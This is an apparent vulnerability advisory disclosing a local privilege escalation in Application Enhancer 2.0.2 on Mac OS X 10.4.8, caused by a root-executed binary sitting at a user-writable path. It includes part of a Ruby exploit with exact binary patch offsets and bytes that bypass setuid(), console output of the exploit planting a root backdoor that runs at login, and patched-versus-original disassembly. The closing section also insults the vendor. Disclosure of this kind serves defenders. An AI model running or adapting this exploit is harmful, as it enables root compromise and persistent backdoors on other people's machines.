BACK

CREDIT

POC or EXPLOIT

REFERENCES


Faxies: (n) fake hacks that unenhance your applications.

Artwork by CG

Summary

The vendor (Unsanity, LLC.) provides the following description:

Application Enhancer (APE) is a system used in our and third-party products that helps them to enhance and redefine various applications behavior running on your system.

APE is affected by different issues, one of them is a local privilege escalation vulnerability which allows local users to gain root privileges in the system by either patching the ApplicationEnhancer binary or replacing it. This binary is executed with root privileges and drops them (via setuid to current user id), but the file is actually writable, as well as the whole tree under /Library/Frameworks, allowing the mentioned condition to be abused for privilege escalation.

Affected versions

This issue has been verified in Application Enhancer 2.0.2 running on Mac OS X 10.4.8 (8L2127) x86. Previous versions might be affected.

Proof of concept, exploit or instructions to reproduce

The provided exploit will drop a backdoor on the system and possibly perform other hilarious operations. It patches the original ApplicationEnhancer binary, allowing the aped process to be launched with root privileges. As we also have write privileges over aped, we overwrite it with our own payload, which will be executed after user login. Then they are "apu fooled". Oh the insanity!

$ ruby exploit-of-the-apes.rb 
++ Starting: /Library/Frameworks/ApplicationEnhancer.framework
++ Back-up:  /Library/Frameworks/ApplicationUnenhancer.framework
++ Patch: /Library/Frameworks/ApplicationEnhancer.framework/Versions/Current/ApplicationEnhancer
++ Patching stage: offset=27512 patch size=4
++ Patching byte at 6b78
++ Patching byte at 6b79
++ Patching byte at 6b7a
++ Patching byte at 6b7b
++ Patching stage: offset=115586 patch size=6
++ Patching byte at 1c382
++ Patching byte at 1c383
++ Patching byte at 1c384
++ Patching byte at 1c385
++ Patching byte at 1c386
++ Patching byte at 1c387
++ Binary pwnage done. Writing patched data...
++ Done (200028 bytes). Planting backdoor aped binary...
++ Finished.
			

Note: it will create a back-up directory with the original contents, in case you really need to use APE again (see 'Workaround or temporary solution' section).

Debugging information

The following information corresponds to a pristine installation of Application Enhancer 2.0.2 on a Mac OS X 10.4.8 (8L2127) system.

$ ps aux | grep aped
lmh        230   0.0  0.1    27932    836  ??  S     1:50PM   0:00.04 aped
			

The permissions in the /Library/Frameworks directory (after exploitation, original was moved to ApplicationUnenhancer.framework):

$ ls -la /Library/Frameworks/
total 0
drwxrwxr-x    4 root  admin   136 Jan  8 14:34 .
drwxrwxr-t   54 root  admin  1836 Jan  8 13:22 ..
drwxr-xr-x    3 lmh   admin   102 Jan  8 14:34 ApplicationEnhancer.framework
drwxr-xr-x    6 root  admin   204 Jan  8 13:22 ApplicationUnenhancer.framework
			

See 'Exploitation conditions' for more information.

Notes

Exploitation conditions

The aped binary is executed by ApplicationEnhancer under the current user privileges, as it drop privileges. Although, due to the fact that we have write access to the /Library/Frameworks path, we can move the directory, copy contents and then proceed to backdoor the binary. Instead of just replacing it, we take advantage of the call to setuid() and patch it in the binary, thus making it retain the root privileges when executing aped, which will hold our own payload.

This approach requires the user to log out, or restart (as aped process won't re-spawn if it terminates).

PATCH_INSTRUCTIONS =  [
                        [ 27512,  "\x38\x60\x00\x00"         ],
                        [ 115586, "\x31\xc0\x90\x89\x04\x24" ]
                      ]
(...)
puts "++ Patch: #{path_to_bozo}"
PATCH_INSTRUCTIONS.each do |patch|
  offset  = patch[0] # start offset
  bindata = patch[1] # patch bytes
  bcount  = 0

  puts "++ Patching stage: offset=#{offset} patch size=#{bindata.size}"
  bindata.split(//).each do |patch_byte|
    target_offset = offset + bcount
    printf "++ Patching byte at %x\n", target_offset
    bozo[target_offset] = patch_byte
    bcount += 1
  end
end

...for x86:

patched:
c0006382        xorl    %eax,%eax
c0006384        nop
c0006385        movl    %eax,(%esp,1)
c0006388        calll   0xc0017221

original:
c0006382        movl    0x14(%esi),%eax
c0006385        movl    %eax,(%esp,1)
c0006388        calll   0xc0017221
			

A nice fact about this issue is that it allows extremely easy deployment of a persistent backdoor, which runs with root privileges and is spawned at login time. Also known as "the H4xor lottery".

Workaround or temporary solution

Stay away from Application Enhancer. It's flawed, and not just by this particular issue. If the developers have left a binary executed with root privileges at an user-writable path, they are certainly capable of doing other non-sense. The approach for fixing the MoAB issues is actually making Apple boost it's vulnerability handling process, and not leveraging the work to a jackass third-party which has no security background at all and spends more time flaming and insulting on a delusional IRC channel than on real work (sic, stupidity is so vindictive!). Wish the ZERT guys had time to work on the stuff, they rock the house and have skills.

Resistance is futile.